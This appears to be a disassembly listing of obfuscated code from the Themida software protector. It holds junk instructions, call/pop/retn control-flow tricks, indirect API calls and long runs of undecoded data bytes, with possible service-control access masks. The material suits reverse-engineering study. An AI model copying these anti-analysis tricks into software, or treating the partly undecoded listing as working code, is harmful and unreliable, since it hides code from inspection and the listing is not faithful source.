		dd 141AE1BDh, 17740006h, 0D3B85350h, 89000007h,	141A4985h
		dd 299D8D06h, 0FF0616B4h, 0F585BD3h, 9E9F8B7h, 3E000000h
		dd 0E75DB30Eh, 1528929Eh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0C8C283C3h, 29899D89h
		dd 0BD810614h, 616F962h, 6165726Fh, 0B1840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 89118BC3h, 4798F8E6h, 958B1651h, 6140619h, 1ACDBD31h
		dd 858D0614h, 616F9DAh,	17858D50h, 500616FBh, 0FB38858Dh
		dd 0FF500616h, 14150995h, 0CC48306h, 1A5985C6h,	68440614h
		dd 96A3184Fh, 1145B5FFh, 858D0614h, 6143B13h, 0D88BD0FFh
		dd 0FB38858Dh, 0FF500616h, 62858DD3h, 500616F9h, 0F9DA858Dh
		dd 83500616h, 1414CDBDh, 8740006h, 0FB00858Dh, 6EB0616h
		dd 0FAE9858Dh, 8D500616h, 16FB3885h, 95FF5006h,	6141509h
		dd 6610C483h, 0AADFDF81h, 0FFCBBF0Fh, 140C8595h, 0F88B6606h
		dd 0FF25h, 0ACD68000h, 0F05F883h, 5D83h, 0CBBF0F00h, 1D7985C7h
		dd 10614h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6E242EC3h, 96858DF9h, 800616F9h
		dd 0B589DDF6h, 614221Dh, 74E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD83409Eh
		dd 61414CDh, 34840F00h,	0B5000000h, 0C1858D3Eh,	0F0616F9h
		dd 888h, 880F5700h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	loc_57B1B9
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 13h,	0EE9h, 96BA1400h, 0C98CA7AAh, 5048C203h, 8DCB0BFBh
		dd 16F9A385h, 4D852906h, 52061404h, 11B58953h, 59061414h
; ---------------------------------------------------------------------------
		pop	edx


loc_57B1B9:				; CODE XREF: Themida_:0057B185j
		mov	[ebp+616F9D6h],	eax
		push	0
		push	ebp
		call	sub_57B1CA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B1CA	proc near		; CODE XREF: Themida_:0057B1C2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_57B1CA	endp

; ---------------------------------------------------------------------------
		mov	dl, [ecx-2E6A745Ch]
		add	[esi+eax], dl
		cmp	dword ptr [ebp+61414CDh], 0
		jnz	loc_57B218
		mov	di, si
		cmp	dword ptr [ebp+617095Dh], 0
		jz	loc_57B22A
		jmp	loc_57B218
; ---------------------------------------------------------------------------
		db 0F8h, 60h, 0E1h
		dd 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah
; ---------------------------------------------------------------------------


loc_57B218:				; CODE XREF: Themida_:0057B1EAj
					; Themida_:0057B200j
		jmp	loc_57C339
; ---------------------------------------------------------------------------
		pusha
		add	cx, 0EA8Fh
		mov	[ebp+61414D1h],	ebx
		popa


loc_57B22A:				; CODE XREF: Themida_:0057B1FAj
		jmp	loc_57B732
; ---------------------------------------------------------------------------
		xor	cx, 0B4F6h
		mov	[ebp+6140B79h],	edx
		mov	eax, eax
		jmp	loc_57B253
; ---------------------------------------------------------------------------
		db 3Bh,	68h, 9Fh
		dd 0DA71975Fh, 66527555h, 314EE7CDh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 17h,	3Ch
; ---------------------------------------------------------------------------


loc_57B253:				; CODE XREF: Themida_:0057B23Cj
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57B265
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57B27E


loc_57B265:				; CODE XREF: Themida_:0057B25Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D4h
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_57B27E:				; CODE XREF: Themida_:0057B263j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57B29E
		push	eax
		push	ebx
		mov	eax, 7D4h
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_57B29E:				; CODE XREF: Themida_:0057B285j
		mov	edi, eax
		mov	[ebp+6142C35h],	esi
		mov	eax, eax
		jmp	loc_57B2C0
; ---------------------------------------------------------------------------
		db 1Eh,	15h, 68h
		dd 0D29C04E9h, 0A68EBD55h, 0AAF08318h, 7EEED8B1h
; ---------------------------------------------------------------------------


loc_57B2C0:				; CODE XREF: Themida_:0057B2A8j
		push	0F003Fh
		call	sub_57B2DC
		xor	eax, 0C9ADBCE1h
		and	al, [edi+ebx*2]
		and	cl, dl
; ---------------------------------------------------------------------------
		dd 31B322FEh, 9ECFDC36h

; =============== S U B	R O U T	I N E =======================================



sub_57B2DC	proc near		; CODE XREF: Themida_:0057B2C5p

; FUNCTION CHUNK AT 0057B32F SIZE 00000021 BYTES

		mov	edi, 40D953B3h
		pop	edx
		push	0
		jz	loc_57B2EE
		mov	cx, 0C5C6h


loc_57B2EE:				; CODE XREF: sub_57B2DC+8j
		push	0
		cmc
		call	dword ptr [ebp+6140BD5h]
		or	[ebp+6140B35h],	eax
		jmp	loc_57B308
; ---------------------------------------------------------------------------
		dw 9BABh
		dd 8DB13963h
; ---------------------------------------------------------------------------


loc_57B308:				; CODE XREF: sub_57B2DC+21j
		test	eax, eax
		jnz	loc_57B32F
		push	0
		push	edx
		call	sub_57B31B
		and	[edx-3Dh], bl
sub_57B2DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57B31B	proc near		; CODE XREF: sub_57B2DC+37p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_57B31B	endp

; ---------------------------------------------------------------------------
		db 6Eh
		db 0Bh,	9Ch, 6Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57B2DC


loc_57B32F:				; CODE XREF: sub_57B2DC+2Ej
		mov	[ebp+616F95Ah],	eax
		mov	edi, [ebp+61416DDh]
		push	0
		or	[ebp+6142C29h],	edi
		push	0
		push	0
		push	eax
		call	sub_57B350
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_57B2DC

; =============== S U B	R O U T	I N E =======================================



sub_57B350	proc near		; CODE XREF: sub_57B2DC+6Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57B350	endp

; ---------------------------------------------------------------------------
		lodsb
		mov	[ebx+14319D8Dh], ecx
		push	es
		push	0
		push	0
		push	esi
		call	sub_57B375
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B375	proc near		; CODE XREF: Themida_:0057B36Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_57B375	endp

; ---------------------------------------------------------------------------
		db 0CFh, 5, 89h
; ---------------------------------------------------------------------------
		push	edx
		push	edx
		lea	ecx, [ecx+1414A5BDh]
		push	es
		push	0
		mov	[ebp+61421BDh],	esi
		push	0
		push	0
		push	ebx
		call	sub_57B3A6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B3A6	proc near		; CODE XREF: Themida_:0057B39Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_57B3A6	endp

; ---------------------------------------------------------------------------
		stosb
		inc	byte ptr [edx]
		add	bh, 0F7h
		add	bh, [edi+56h]
		sub	dx, 0CD59h
		pop	edx
		lea	eax, [ebp+616FB38h]
		push	0
		push	ecx
		call	sub_57B3D6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B3D6	proc near		; CODE XREF: Themida_:0057B3CEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_57B3D6	endp

; ---------------------------------------------------------------------------
		dw 4B76h
		dd 0BA6050EDh, 65D330DAh, 13658589h, 6A610614h,	81958B01h
		dd 6A061419h, 890F6001h, 6, 0D298D8Bh, 0BD890614h, 61431F9h
		dd 6AD78B61h, 0ADBD8B01h, 68061410h, 0F01FFh, 0D21ABA66h
		dd 14CDBD83h, 0F000614h, 3784h,	0EE800h, 7FAC0000h, 57B6CD4Fh
		dd 9145CF69h, 0C799DA2Dh, 0B7858D59h, 0F0616F9h, 680h
		dd 0E18D8B00h, 8B061424h, 14265195h, 25E906h, 0BD8B0000h
		dd 61404DDh, 0F98D858Dh, 0DE80616h, 0D1000000h,	978FDAD3h
		dd 0E0623C61h, 0BD284ABAh, 33D9589h, 505A0614h,	312FBA66h
		dd 0A5BD2950h, 0FF061400h, 16F95AB5h, 0FFF08A06h, 16F94695h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0FF1AC1E6h, 0A70CCFBAh, 9529FC4Eh, 614007Dh
		dd 850FC085h, 2Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0C0C35343h, 88BF6426h, 0E9095820h, 72h
		dd 1A91BD89h, 85890614h, 616F95Eh, 10E9h, 2135F00h, 8D55A283h
		dd 0F599583Bh, 0BEB437BFh, 5EB5FF0Dh, 6A0616F9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0BA96C351h, 0B9532820h, 3671960h, 2A995FFh, 958B0614h
		dd 61412C9h, 850FC085h,	12h, 0C8F0Fh, 890F0000h, 6, 919BD8Bh
		dd 106A0614h, 0F3CE680h, 0BD83F9B7h, 61414CDh, 41840F00h
		dd 8D000000h, 16F9B785h, 6830F06h, 29000000h, 140825BDh
		dd 36E906h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 160424h, 52420000h, 0E4FEC3h, 9B5958Bh, 0BD8B0614h
		dd 6140FF5h, 0F98D858Dh, 9D010616h, 61408E9h, 6810F50h
		dd 8B000000h, 14054D95h, 398D8906h, 0FF061410h,	16F95AB5h
		dd 0CEBF0F06h, 0F95295FFh, 6A0616h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BB2D78C3h
		dd 9BEFCB69h, 2ABF6617h, 0FC08590h, 0C85h, 6850F00h, 89000000h
		dd 14095585h, 5E858906h, 290616F9h, 142279B5h, 0E8006A06h
		dd 14h,	0DF530368h, 0C3B3F489h,	0EE7123FAh, 6BE94995h
		dd 48F7ADCAh, 0D4D8D8Bh, 6A5A0614h, 0D1B53100h,	0FF061412h
		dd 16F95EB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0DA9E1FF8h, 0A2E8DF6Ch, 950B353Ch
		dd 6141475h, 0AE9h, 0CCFECC00h,	0E4047199h, 0FFA606A6h
		dd 16F94A95h, 29850106h, 85061425h, 1F850FC0h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 68D3C350h, 0B5FFC687h, 616F95Eh, 2E658589h
		dd 0CE90614h, 0B5000000h, 21B031C5h, 40C8F97Eh,	0FF753C62h
		dd 1402A995h, 85D18B06h, 2B850FC0h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BE46C353h, 73687FAFh, 0F1A4C69Eh, 2B39B529h
; ---------------------------------------------------------------------------
		adc	al, 6


loc_57B732:				; CODE XREF: Themida_:loc_57B22Aj
		push	0
		mov	[ebp+614061Dh],	edx
		push	80h
		push	0
		push	esi
		call	sub_57B74A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B74A	proc near		; CODE XREF: Themida_:0057B742p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_57B74A	endp

; ---------------------------------------------------------------------------
		dw 752Eh
		dd 7A31ADDh, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 3D816BC3h, 0BD8BD270h, 6142659h
		dd 29006AFCh, 14141D95h, 1006A06h, 142281BDh, 0F98B6606h
		dd 68h,	0BD958BC0h, 0FF061425h,	16F9D6B5h, 118D8B06h, 0FF061408h
		dd 14068195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 27C63317h, 0FFF8832Bh, 4BE850Fh
		dd 0BE90000h, 58000000h, 0C637716Ah, 16424733h,	85FF63FCh
		dd 6170444h, 351DB501h,	0BD830614h, 6170444h, 0C1840F02h
		dd 0E9000003h, 13h, 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh
		dd 8D9B774Dh, 5B243B85h, 0C8B0F00h, 0E9000000h,	7, 0DA8DBAF5h
		dd 0FFD97379h, 8DCAB1D0h, 5B1E8E85h, 0E2816600h, 0D0FFFEA1h
		dd 5800Fh, 66600000h, 361F78Bh,	140CB18Dh, 8BC08B06h, 14199D95h
		dd 0B1BD8306h, 61430h, 0BD830975h, 6141AE1h, 50197400h
		dd 0B8C08B53h, 7D8h, 1A498589h,	9D8D0614h, 616B73Ah, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535017h, 7D8h, 1A498589h, 9D8D0614h
		dd 616B429h, 585BD3FFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 12C35545h, 0CDB58992h, 8B061431h, 0A5BD8BC0h
		dd 6806141Dh, 0F003Fh, 0A0D8D89h, 6A0614h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9BC35747h, 0E2D1D925h
		dd 85958BF2h, 0F061431h, 583h, 8B665300h, 6A59FBh, 23959D89h
		dd 95FF0614h, 6140BD5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0C0C35343h, 0F970EA68h, 0B3A6CB3Ah, 1655BD8Bh
		dd 0C0850614h, 535958Bh, 85890614h, 616F95Ah, 0C983F181h
		dd 0FF681D62h, 6A000F01h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 258AC357h, 0D71224D2h
		dd 0CDBD83B3h, 61414h, 3F840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9B4722C3h
		dd 8C85110Fh, 30358589h, 858D0614h, 616F9B7h, 2C19BD23h
		dd 12E90614h, 89000000h, 1426419Dh, 8D858D06h, 8B0616F9h
		dd 141BA595h, 0B5FF5006h, 616F95Ah, 915958Bh, 95FF0614h
		dd 616F952h, 20E59501h,	85890614h, 616F95Eh, 0FBB70F56h
		dd 4585C759h, 61402h, 83000000h, 16F95EBDh, 840F0006h
		dd 1A1h, 68D0Fh, 0B5890000h, 614109Dh, 0FC3C858Dh, 6A0616h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 97A8C3h, 8B50B673h, 1409E18Dh, 68B0F06h, 8B000000h
		dd 14094195h, 66016A06h, 0B5FFCB8Bh, 616F95Eh, 223D958Bh
		dd 0C2810614h
; ---------------------------------------------------------------------------


loc_57BA78:				; DATA XREF: Themida_:00549184o
		and	eax, 0FF747A60h
		xchg	eax, ebp
		push	esi
		stc
		push	ss
		push	es
		mov	[ebp+61421F9h],	ecx
		push	dword ptr [ebp+616F95Eh]
		mov	edi, [ebp+6142989h]
		call	dword ptr [ebp+61402A9h]
		mov	[ebp+61420FDh],	ebx
		push	0F01FFh
		cmc
		cmp	dword ptr [ebp+61414CDh], 0
		jz	loc_57BAF1
		xor	[ebp+61424B9h],	ebx
		lea	eax, [ebp+616F9B7h]
		push	0
		push	ecx
		call	sub_57BACA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BACA	proc near		; CODE XREF: Themida_:0057BAC2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_57BACA	endp

; ---------------------------------------------------------------------------
		dw 0F461h
		dd 0ED60E2Bh, 891D649Bh, 1545B529h, 22E90614h, 0B5000000h
; ---------------------------------------------------------------------------
		inc	ebp


loc_57BAF1:				; CODE XREF: Themida_:0057BAADj
		lea	eax, [ebp+616F98Dh]
		pusha
		call	sub_57BB06
		sbb	eax, 0A188E149h
		mov	al, 0B1h
		out	10h, al

; =============== S U B	R O U T	I N E =======================================



sub_57BB06	proc near		; CODE XREF: Themida_:0057BAF8p

; FUNCTION CHUNK AT 0057BBCB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0057C15F SIZE 00000028 BYTES

		movsx	edi, di
		pop	edx
		mov	esi, [ebp+6141A5Dh]
		popa
		push	eax
		xor	ecx, [ebp+6142165h]
		jmp	loc_57BB24
; ---------------------------------------------------------------------------
		aaa
		xor	[edx-1938C60Fh], edx


loc_57BB24:				; CODE XREF: sub_57BB06+12j
		push	dword ptr [ebp+616F95Ah]
		jmp	loc_57BB41
; ---------------------------------------------------------------------------
		db 0F4h
		dd 0C9EB927h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh
		db 2Eh
; ---------------------------------------------------------------------------


loc_57BB41:				; CODE XREF: sub_57BB06+24j
		call	dword ptr [ebp+616F952h]
		and	dx, 96EFh
		mov	[ebp+616F95Eh],	eax
		mov	di, 0DB2Dh
		push	dword ptr [ebp+616F95Eh]
		mov	[ebp+6141A2Dh],	ecx
		call	dword ptr [ebp+616F94Eh]
		jmp	loc_57BB7F
; ---------------------------------------------------------------------------
		jmp	short loc_57BBCB
; ---------------------------------------------------------------------------
		mov	al, ds:88C3C94Ch
		retn
; ---------------------------------------------------------------------------
		db 79h,	0EAh, 57h
		dd 40DB82ADh
		db 7Fh,	0B3h, 0FCh
; ---------------------------------------------------------------------------


loc_57BB7F:				; CODE XREF: sub_57BB06+62j
		push	dword ptr [ebp+616F95Eh]
		sub	[ebp+6140475h],	edi
		jle	loc_57BB97
		sbb	edx, 4C8AD91Ah


loc_57BB97:				; CODE XREF: sub_57BB06+85j
		call	dword ptr [ebp+61402A9h]
		push	0
		push	edi
		call	sub_57BBA8
		and	[edi-3Dh], bl
sub_57BB06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57BBA8	proc near		; CODE XREF: sub_57BB06+9Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_57BBA8	endp

; ---------------------------------------------------------------------------
		inc	ebx
		jno	short near ptr loc_57BBC5+4
		jl	short loc_57BC05
		pop	edx
		mov	dword ptr [ecx-8], 0FFF674E9h


loc_57BBC5:				; CODE XREF: Themida_:0057BBB9j
		inc	dword ptr [ecx+2489C8F2h]
; START	OF FUNCTION CHUNK FOR sub_57BB06


loc_57BBCB:				; CODE XREF: sub_57BB06+67j
		sub	al, 0FFh
		mov	ch, 0A7h
		add	al, 17h
		push	es
		sub	[ebp+6140A49h],	ebx
		call	dword ptr [ebp+6142361h]
		jbe	loc_57BBE7	; CODE XREF: Themida_:loc_57BC05j
		mov	di, si


loc_57BBE7:				; CODE XREF: sub_57BB06+D8j
		mov	eax, [ebp+6142A5Dh]
		push	edi
		mov	[ebp+6140909h],	edx
		pop	edi
		mov	cx, ax
		jmp	loc_57C15F
; END OF FUNCTION CHUNK	FOR sub_57BB06
; ---------------------------------------------------------------------------
		jmp	loc_57BC0B
; ---------------------------------------------------------------------------
		stosb
		jge	short loc_57BC49


loc_57BC05:				; CODE XREF: Themida_:0057BBBBj
		jnp	short near ptr loc_57BBDE+2
; ---------------------------------------------------------------------------
		db 0DFh
		db 0FFh, 0E9h, 0B1h
; ---------------------------------------------------------------------------


loc_57BC0B:				; CODE XREF: Themida_:0057BBFDj
		lea	esi, [ebp+616FC5Ch]
		sub	[ebp+6140EE5h],	ecx
		lea	eax, [ebp+616A99Ah]
		push	0
		push	ecx
		call	sub_57BC28
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BC28	proc near		; CODE XREF: Themida_:0057BC20p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_57BC28	endp

; ---------------------------------------------------------------------------
		dd 0B4E6ADFh, 1401ADBDh, 0E6E98106h, 8B629259h
		db 8Dh
; ---------------------------------------------------------------------------


loc_57BC49:				; CODE XREF: Themida_:0057BC03j
		sbb	eax, 0FF061424h
		rol	byte ptr [ecx-4F215E16h], 1
		jl	short near ptr loc_57BCBE+2
		add	[edi], cl
		mov	edi, 0F995FFD2h
		db	2Eh
		adc	al, 6
		movsx	edi, ax
		mov	esi, ebx
		jmp	loc_57BC72
; ---------------------------------------------------------------------------
		xor	edx, [edx-4AEDBD55h]
		adc	bl, dh


loc_57BC72:				; CODE XREF: Themida_:0057BC65j
		lea	eax, [ebp+616A99Ah]
		add	cl, 3Bh
		jmp	loc_57BC8E
; ---------------------------------------------------------------------------
		dd 54443865h, 13A0690Eh, 0E97D014Dh
		db 7, 83h
; ---------------------------------------------------------------------------


loc_57BC8E:				; CODE XREF: Themida_:0057BC7Bj
		call	eax
		mov	edi, [ebp+6142315h]
		push	0
		mov	edx, eax
		call	dword ptr [ebp+6142EF9h]
		mov	eax, eax
		and	edx, 249EB17Ah
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57BCBA
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57BCD3


loc_57BCBA:				; CODE XREF: Themida_:0057BCAFj
		push	eax
		push	ebx
		mov	eax, eax


loc_57BCBE:				; CODE XREF: Themida_:0057BC54j
		mov	eax, 7D9h
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_57BCD3:				; CODE XREF: Themida_:0057BCB8j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57BCF3
		push	eax
		push	ebx
		mov	eax, 7D9h
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_57BCF3:				; CODE XREF: Themida_:0057BCDAj
		clc
		sbb	di, 0CC19h
		mov	eax, eax
		push	0
		push	esi
		call	sub_57BD06
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD06	proc near		; CODE XREF: Themida_:0057BCFEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_57BD06	endp

; ---------------------------------------------------------------------------
		dw 77F2h
; ---------------------------------------------------------------------------
		test	byte ptr [eax+70BDB9ABh], 0B3h
		push	ax
		mov	ecx, [ebp+61400E5h]
		mov	ebx, eax
		and	ecx, [ebp+61404BDh]
		push	ebx
		lea	ebx, [ebp+61412F5h]
		mov	eax, [ebx]
		mov	[ebx], eax
		mov	eax, [ebx+50h]
		mov	[ebx+50h], eax
		lea	ebx, [ebp+6170440h]
		mov	eax, [ebx]
		mov	[ebx], eax
		pop	ebx
		push	0
		call	sub_57BD61
		adc	[edx-5EACF2ECh], ecx
		or	[esi+ebp*2+5B9030BCh], eax
		mov	eax, ebx

; =============== S U B	R O U T	I N E =======================================



sub_57BD61	proc near		; CODE XREF: Themida_:0057BD4Dp
		mov	di, 0FC1Ah
		pop	edi
		jge	near ptr loc_57BD7C+2
		jns	near ptr loc_57BD7C+2
		call	near ptr loc_57BD7C+1
		mov	eax, ds:3EBE470Fh


loc_57BD7C:				; CODE XREF: sub_57BD61+11p
					; sub_57BD61+5j ...
		sbb	byte ptr [edi-73h], 85h
sub_57BD61	endp ; sp-analysis failed

		inc	eax
		add	al, 17h
		push	es
		push	eax
		push	0
		push	edx
		call	sub_57BD90
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD90	proc near		; CODE XREF: Themida_:0057BD88p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_57BD90	endp

; ---------------------------------------------------------------------------
		imul	eax, esi, -4Eh
		mov	ebp, [edx+60h]
		mov	edx, [ebp+6142C4Dh]
		lea	eax, [ebp+61412F5h]
		push	0
		push	ebp
		call	sub_57BDBD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BDBD	proc near		; CODE XREF: Themida_:0057BDB5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_57BDBD	endp

; ---------------------------------------------------------------------------
		test	eax, 0A8F470AFh
		push	eax
		jle	loc_57BDE8
		jmp	loc_57BDE8
; ---------------------------------------------------------------------------
		dw 8953h
		dd 0A7D01BE0h, 62D28372h
; ---------------------------------------------------------------------------


loc_57BDE8:				; CODE XREF: Themida_:0057BDD3j
					; Themida_:0057BDD9j
		push	0
		push	0
		push	ebp
		call	sub_57BDF5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BDF5	proc near		; CODE XREF: Themida_:0057BDEDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_57BDF5	endp

; ---------------------------------------------------------------------------
		sub	al, 6Ah
		add	[edx+0], ch
		push	ecx
		call	sub_57BE13
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BE13	proc near		; CODE XREF: Themida_:0057BE0Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_57BE13	endp

; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------
		cmp	eax, [edi+41C50563h]
		scasb
		push	1800h
		mov	[ebp+61421BDh],	esi
		push	ebx
		jmp	loc_57BE47
; ---------------------------------------------------------------------------
		dd 0EC34C62Eh, 0D8456483h
		db 22h,	3Dh, 13h
; ---------------------------------------------------------------------------


loc_57BE47:				; CODE XREF: Themida_:0057BE37j
		call	dword ptr [ebp+6140B61h]
		push	0
		push	eax
		call	sub_57BE58
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BE58	proc near		; CODE XREF: Themida_:0057BE50p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_57BE58	endp

; ---------------------------------------------------------------------------
		dd 0E4950B6Dh, 0AE99551h, 0BE000000h, 2A20AC9Ch, 0A33AA132h
		dd 958951E7h, 6140A51h,	95FFFC5Fh, 6143081h, 0A7B5FFF9h
		dd 8B061704h, 1415E98Dh, 6195FF06h, 66061423h, 858DCA8Bh
		dd 61412F5h, 1D198589h,	408B0614h, 0C744B518h, 1421E185h
		dd 6, 0FABF0F00h, 14CDBD83h, 0F000614h,	4684h, 0EE800h
		dd 3D3F0000h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh,	23F99D29h
		dd 0F590614h, 58Bh, 0DD5DBA00h,	8C3D32AEh, 0F000000h, 19F83h
		dd 0B5CCB900h, 23E9751Ah, 0F000000h, 68Dh, 2D9D8900h, 3D061423h
		dd 98h,	17E830Fh, 8B600000h, 140C1D9Dh,	4DB86606h, 858D6152h
		dd 5B243Bh, 2E218589h, 0D0FF0614h, 148D0Fh, 0FE90000h
		dd 1D000000h, 0DBBF29CFh, 585FBA6Fh, 7A6F1B2Dh,	0D7814A78h
		dd 13E04D8Fh, 1E8E858Dh, 8589005Bh, 6140CB9h, 0D1C98166h
		dd 50D0FFC0h, 0E85BD09h, 0E85A0614h, 14h, 0B193EE47h, 2F74AEC7h
		dd 23E97164h, 47B5892Eh, 0A4ACE0A4h, 0FE8h, 0B1B17500h
		dd 0A0362D35h, 7CBD2366h, 0FB761E01h, 0CF5958Bh, 595F0614h
		dd 0BA66C08Bh, 0BD837AC8h, 61430B1h, 83097500h,	141AE1BDh
		dd 19740006h, 0C08B5350h, 0BC6B8h, 49858900h, 8D06141Ah
		dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
		dd 0BC6B8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h
		dd 0D858958h, 8B06142Dh, 0EDBF60FEh, 8B1AA981h,	1416EDBDh
		dd 0C08B6106h, 38B0Fh, 0B70F0000h, 4D89BFFFh, 0F8836CE7h
		dd 29850FFFh, 0C7000000h, 140F2985h, 6,	0E9F08A00h, 0ECh
		dd 3A6B360h, 1403E18Dh,	31E96106h, 0F000000h, 0BD8BC9BFh
